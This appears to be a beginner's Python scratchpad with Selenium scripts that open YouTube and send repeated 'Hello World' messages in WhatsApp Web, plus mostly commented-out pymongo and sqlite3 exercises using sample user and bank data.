# # '/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string'
# # )
# # video.click()
# video = browser.find_element(By.PARTIAL_LINK_TEXT,
# "John Wick 4 New Trailer | Hindi")
# sleep(1)
# video.click()
# sleep(10)
# browser.close()
# -------------------------------------------------------------------------
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from time import sleep
browser = webdriver.Chrome("chromedriver.exe")
browser.maximize_window()
browser.get("https://web.whatsapp.com/")
sleep(30)
search_box = browser.find_element(
By.XPATH,
"/html/body/div[1]/div/div/div[3]/div/div[1]/div/div/div[2]/div/div[1]/p")
search_box.click()
sleep(1)
search_box.send_keys("Python Sunday RS 11/12/22", Keys.ENTER)
sleep(2)
message_box = browser.find_element(
By.XPATH,
"/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p"
)
message_box.click()
# sleep(1)
message_box.send_keys("Hello World", Keys.ENTER)
sleep(2)
for num in range(10):
message_box = browser.find_element(
By.XPATH,
"/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]"
)
message_box.click()
message_box.send_keys("Hello World", Keys.ENTER)
sleep(1)
sleep(30)
browser.close()
Scratchpad #12
# # import pymongo
# # client = pymongo.MongoClient()
# # mydb = client["mydb"]
# # users = mydb["users"]
# # # user1 = {"name": "John Doe", "email": "john.doe@hey.com", "age": 30}
# # # user2 = {"name": "Jane Doe", "email": "jane.doe@hey.com", "age": 22}
# # # users_list = [{
# # # "name": "Jack Ma",
# # # "email": "jack.ma@alibaba.com",
# # # "age": 43
# # # }, {
# # # "name": "Richard Roe",
# # # "email": "richard.roe@alibaba.com",
# # # "age": 21
# # # }]
# # # users.insert_one(user2)
# # # users.insert_many(users_list)
# # from pprint import pprint
# # results = users.find({}).sort("age", pymongo.ASCENDING).limit(2)
# # pprint(list(results))
# # import pymongo
# # client = pymongo.MongoClient()
# # my_bank = client["my_bank"]
# # banks = my_bank["banks"]
# # customers = my_bank["customers"]
# # class Bank:
# # def __init__(self, name, initials, address, phone):
# # self.name = name
# # self.initials = initials
# # self.address = address
# # self.phone = phone
# # self._customers = []
# # banks.insert_one({
# # "name": name,
# # "address": address,
# # "initials": initials,
# # "phone": phone
# # })
# # def __repr__(self):
# # return self.name
# # def create_customer(self, name, age, email, account_no):
# # new_customer = Customer(name, age, email, account_no, self.name)
# # self._customers.append(new_customer)
# # customers.insert_one(new_customer.__dict__)
# # print(f"Customer with name {name} was successfully created.")
# # return new_customer
# # class Customer:
# # def __init__(self, name, age, email, account_no, bank_name):
# # self.name = name
# # self.age = age
# # self.email = email
# # self._account_no = account_no
# # self.balance = 0
# # self.bank = bank_name
# # def repr(self):
# # return self.name
# # sbi = Bank("State Bank Of India", "SBI", "Some Address...", "+91 022 23456789")
# # sbi.create_customer("John Doe", 30, "johndoe@hey.com", "0A23JMNJ3412")
# import sqlite3
# conn = sqlite3.connect("mydb.db")
# cursor = conn.cursor()
# # cursor.execute("""
# # CREATE TABLE users (
# # id INTEGER PRIMARY KEY,
# # name TEXT,
# # email TEXT,
# # age INTEGER
# # );
# # """)
# # user = ("John Doe", "johndoe@hey.com", 30)
# # cursor.execute(f"INSERT INTO users (name, email, age) VALUES (?, ?, ?)", user)
# # conn.commit()
# # cursor.execute("SELECT * FROM users;")
# # all_users = cursor.fetchone()
# # print(all_users)
# # # for user in all_users:
# # # print(user)
# cursor.execute("UPDATE users SET email = ? WHERE name = ?",
# ("newemail@example.com", "John Doe"))
# conn.commit()